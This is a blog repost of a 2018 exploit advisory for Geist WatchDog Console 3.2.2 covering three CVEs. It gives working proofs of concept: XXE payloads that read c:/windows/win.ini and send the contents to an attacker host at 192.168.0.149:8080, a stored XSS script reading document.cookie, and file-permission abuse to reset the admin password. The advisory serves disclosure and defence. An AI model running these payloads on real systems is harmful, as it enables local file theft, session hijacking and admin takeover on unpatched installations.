Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86398975

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Author: bzyo
# CVE: CVE-2018-10077, CVE-2018-10078, CVE-2018-10079
# Twitter: @bzyo_
# Exploit Title: Geist WatchDog Console 3.2.2 -  Multiple Vulnerabilities
# Date: 04-17-18
# Vulnerable Software: WatchDog Console - 3.2.2
# Vendor Homepage: http://www.itwatchdogs.com/
# Version: 3.2.2
# Software Link: http://www.itwatchdogs.com/userfiles/file/firmware/Console/WatchDogConsoleInstaller_v3.2.2.exe
# Tested On: Windows 7 x86
 
Description
-----------------------------------------------------------------
WatchDog Console suffers from multiple vulnerabilities:

# CVE-2018-10077 Authenticated XML External Entity (XXE)
# CVE-2018-10078 Authenticated Stored Cross Site Scripting (XSS)
# CVE-2018-10079 Insecure File Permissions

Prerequisites
-----------------------------------------------------------------
To successfully exploit these vulnerabilities, an attacker must already have access 
to a system running WatchDog Console using a low-privileged user account

Proof of Concepts
-----------------------------------------------------------------
### CVE-2018-10079 Insecure File Permissions ###
By default, WatchDog Console 3.2.2 installs all configuration data at 'C:\ProgramData\WatchDog Console' and 
gives 'Authenticated Users' group Modify permissions
 
C:\>icacls "c:\ProgramData\WatchDog Console"
c:\ProgramData\WatchDog Console NT AUTHORITY\Authenticated Users:(OI)(CI)(M,DC)

This allows any local user of the system the ability to reset the application admin password by generating 
a password using the PHP md5() function and updating the config.xml file.  It also provides the ability to 
add data to servers.xml for both CVE-2018-10078 and CVE-2018-10079 or through the application interface

### CVE-2018-10077 Authenticated XML External Entity (XXE) ###
With authenticated admin access to the application or local access to the system, a user has the ability to read 
system files remotely through XXE

On attacking machine
- Create data.xml with following contents in apache root and start apache listening on 80
	<?xml version="1.0" encoding="utf-8"?>
	<!DOCTYPE r [
	<!ELEMENT r ANY >
	<!ENTITY % sp SYSTEM "http://192.168.0.149:8080/evil.xml">
	%sp;
	%param1;
	]>
	<r>&exfil;</r>

- Create evil.xml with the following contents anywhere
	<?xml version="1.0" encoding="UTF-8"?>
	<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
	<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://192.168.0.149:8080/?%data;'>">
	
- Start python simple http server in same directory as evil.xml, listening on 8080
	python -m SimpleHTTPServer 8080
	
On victim machine (1 of 2 ways)
1. With admin access to application console, add attacking server IP address under servers tab
or
2. With local access to system
	- update 'C:\ProgramData\WatchDog Console\servers.xml file' with following:
		<?xml version="1.0" encoding="utf-8" standalone="yes"?>
		<servers>
		<server host="192.168.0.149" addrType="http" port="80" description="" selEmail="True" Username="1" Password="1" left="700" top="420" />
		</servers>
	- restart system

On attacking machine
- Contents of 'win.ini' is outputted to console
- evil.xml can be updated to read other sensitive files (tested reading file from admin desktop)

### CVE-2018-10078 Authenticated Stored Cross Site Scripting (XSS) ###
This application suffers from authenticated XSS on several inputs (1 of 2 ways)
1. With admin access to application console, under servers tab
	- add dummy IP in server name filed
	- add <script>alert(document.cookie)</script>"> into server description
or	
2. With local access to system
	- update 'C:\ProgramData\WatchDog Console\servers.xml file' with following:
		<?xml version="1.0" encoding="utf-8" standalone="yes"?>
		<servers>
		<server host="172.16.1.1" addrType="http" port="80" description="<script>alert(document.cookie)</script>">" selEmail="True" Username="1" Password="1" left="400" top="180" />
		</servers>
	- restart system

3. popup with cookie appears when browsing from Overview, Dashboard, and Server tabs.  Remains after reboot.

Timeline
---------------------------------------------------------------------
04-14-18: Vendor notified of vulnerabilities
04-16-18: Vendor responded "Thank you for bringing this to our attention. The product has now been End-of-life for 
several years and is no longer receiving updates."
04-17-18: Submitted public disclosure